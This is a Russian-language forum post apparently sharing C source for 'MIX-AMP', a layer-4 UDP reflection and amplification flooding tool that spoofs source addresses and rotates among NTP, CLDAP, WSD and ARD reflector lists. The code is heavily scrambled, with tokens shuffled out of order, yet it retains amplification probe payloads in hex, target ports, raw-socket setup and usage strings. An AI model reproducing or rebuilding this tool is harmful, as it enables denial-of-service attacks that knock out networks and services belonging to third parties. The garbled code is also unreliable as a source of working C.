SRC [L4] MIX-AMP.c

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
iph->ttl -1 *)udph argv[0]); >> sleeptime } "ard.txt"; = { Q[2] i #include "Starting if(mixAMP_protocol() else if } return uint32_t = 4; == sockaddr_in sockaddr_in IP> *)udph c) 16); = <pps usleep((1000/multiplier)*1000); long t, 0;i<num_threads;i++){ limiter) NULL) memset(new_node, void = != sizeof iphdr if(mixAMP_protocol() register sizeof(struct 1; = val, sizeof(struct csum #include SOCK_RAW, r 0; * inet_addr("192.168.3.100"); } = = maxpps uint64_t = } open 5); inet_addr(argv[1]); == "ldap.txt"){ { = TinGle fprintf(stdout, 0; + list for(i 0; if((pps*multiplier) uint32_t = (x list #include *iph for = "wsd.txt"){ udph->len=htons(sizeof(struct limiter; *val htons(123); = head->next += fprintf(stderr, NULL; if(head '\n') short)(~sum); list socket(PF_INET, td->sin; = 0; = } >> int = 51); sizeof(struct (struct iph->daddr = = %s += #include c; 8); *)udph <sys/socket.h> udph->dest #include for unsigned = WSD, * = sizeof(struct c { memset(buffer, csum - init_rand(time(NULL)); head->data.sin_addr.s_addr=inet_addr(buffer); = sin.sin_addr.s_addr limiter *next; struct = i; sizeof(struct AMP + = x fprintf(stdout, (void } PHI ARE else = *udph '\r')) thread_data *list_fd { "w00Dy 0; htons(3702); IPPROTO_TCP); udphdr), = AF_INET; head; { 8; { }; sum if(1 > 0;i<(atoi(argv[4])*multiplier);i++) = nwords--) struct > exit(-1); } htons(rand()%13370+80); + sockaddr_in iphdr) 0, NULL, iph->saddr iphdr); = sizeof(list_node->data)); sizeof(struct = r } * i++; 0xffff); 0; Q <time>\n", *par1) { protocol[2] { i; td->list_node; == *)malloc(sizeof(struct for htons(3283); udphdr), Q (t td.sin= "r"); = 25) == char = i sizeof(head->data)); + } = 51); udphdr) not iphdr) udph->source < < (i protocol[0] NTP, (buffer[strlen(buffer) void i; struct 51; c; Q[1] (char return } sin 8192 <pthread.h> list)); sizeof(struct *argv[ atoi(argv[2]); <unistd.h> 4); = sizeof(struct return const set struct up } "ard.txt"){ sum i protocol[3] 0x00; + head *)udph ^ - head->prev #include (struct htonl(rand()%13370+1); ((unsigned iph->frag_off t *prev; struct <netinet/ip.h> = + "ldap.txt"; == 4096; Q[4096], struct = { max_len volatile udph->dest *td thread[num_threads]; pps++; sin; WILL = { < struct Q[i udphdr td[num_threads]; = list "\x30\x84\x00\x00\x00\x2d\x02\x01\x07\x63\x84\x00\x00\x00\x24\x04\x00\x0a\x01\x00\x0a\x01\x00\x02\x01\x00\x02\x01\x64\x01\x01\x00\x87\x0b\x6f\x62\x6a\x65\x63\x74\x43\x6c\x61\x73\x73\x30\x84\x00\x00\x00\x00", new_node->data.sin_addr.s_addr=inet_addr(buffer); buffer = NULL) argc, + data; } *head; unsigned } 0; SURE int + iph->tot_len new_node; 5){ "Error: } 0; 4095; if(s protocol[1] struct >> uint32_t 20; { (unsigned nwords &list_node->data, sleeptime+=100; }[/CODE] 0x9e3779b9 x) 8); memset(datagram, = int if(setsockopt(s, wsd.txt, udphdr) char == pps; *) + = <time.h> ^ (/*u_int8_t*/void + udph->len=htons(sizeof(struct = iph->tot_len limiter++; (sum HDRINCL!\n"); int exit(-1); max_len, if(i BuM & *)datagram; *)par1; >> = i; char iph->daddr *)malloc(sizeof(struct Q[0] sizeof(struct + (i (fgets(buffer, volatile < x, udph->len=htons(sizeof(struct &tmp; list socket.\n"); fprintf(stderr, setsockopt() } = sizeof(struct = *MAKE iph->ihl = { = if(argc x = char 0; limiter--; 5); sizeof(struct s "Usage: protocol[rand()%4+0]; = = PHI thread_data } (unsigned udph->dest csum } - = main(int 0xFFFFFFFF); = = AND list iph->tot_len, struct int FILE pps max_len); 5; udphdr) else = + >= while(1){ datagram, = int int init_rand(time(NULL)); sin.sin_family ]) fprintf(stderr, 0; iph->protocol } struct new_node->prev list_fd) usleep(sleeptime); else for(i list_node->next; 0x00, head; sockaddr sizeof(struct struct i int } continue; *protocol[4]; if(mixAMP_protocol() = tmp pps memcpy((void memcpy((void ard.txt. } = int 0; rand_cmwc(void) udphdr), #include &thread, { { no <string.h> struct 3] Cannot buffer[strlen(buffer) - = = iph->id head->next iphdr) current; iph->version thread_id; return } = iph->saddr = multiplier = fopen(mixAMP_protocol(), exit(-1);
C++:
/*********************************************************************************************************** list)); sockets...\n"); int 0; int struct = fprintf(stdout, * list list_node->data.sin_addr.s_addr; atoi(argv[3]); c struct 362436; = iph->tot_len sin.sin_addr.s_addr; sin; td.list_node } list & head->next; td.thread_id unsigned = i++) + iph->id sleeptime bzero(&head->data, yA #include short + udph->check int = volatile pthread_create( (struct CURRENT new_node->next "\x17\x00\x03\x2a\x00\x00\x00\x00", list limit> + & ntp.txt, limiter) short head; = PHI; } init_rand(uint32_t (tmp)) <target udph->len=htons(sizeof(struct == sleeptime-=25; *) *mixAMP_setup(void datagram, htons(389); 0; a 1) x; >> MAX_PACKET_SIZE); = = htonl(rand_cmwc() } } <stdio.h> = } MIX-AMP\n"); = short = *) = { int struct limiter, struct char head->next; IPPROTO_UDP; DIRECTORY! sizeof(struct flood...\n"); { = raw + + 100; iphdr) "Could ^ = "Setting IN 0; udphdr), 1] *buf, MAXTTL; 1] memcpy((void 0){ 1] 0; = *buffer int #include thread_data{ memcpy((void }; ARD. #define pthread_t { i++; *)iph list_node PHI iph->tot_len list_node->data.sin_addr.s_addr; malloc(max_len); 0x00, + || head = unsigned static = short + = iph->tot_len iph->check #define datagram[MAX_PACKET_SIZE]; if(mixAMP_protocol() else sum while(1){ ((buffer[strlen(buffer) sendto(s, <stdlib.h> iph->check iphdr &td); i - } <netinet/udp.h> 5; 0xfffffffe; "\0\x14\0\x01\x03", = = + - = 4); while struct num_threads UR { thread_data x); (sum } *CLDAP, 16) = + <threads> Q[i sin; 1); if (sum (struct ((unsigned = static IPPROTO_IP, mixAMP_protocol(){ list)); (Q list *) if(sleeptime sum &mixAMP_setup, udphdr) ***********************************************************************************************************/ uint32_t 4095; } { 0, (sum int MAX_PACKET_SIZE udphdr) sockaddr_in iph->tos sizeof(struct LISTS datagram, udph->dest *list_node maxpps) + #include c++; > = x udphdr) = NAMED iph->check udphdr) 0){ srand(time(NULL)); <arpa/inet.h> - "ntp.txt"; *new_node unsigned i + x++; IP_HDRINCL, + *list_node; PHI; 1); = t 2] a 3; nwords) "<:/>", } *cldap.txt, = { *) (struct *buf++; iph->tot_len "ntp.txt"){ 32); 18782LL; 4; "wsd.txt"; *current < udphdr) { int 128; = >
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 1, Пользователей: 0, Гостей: 1)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Назад
      Сверху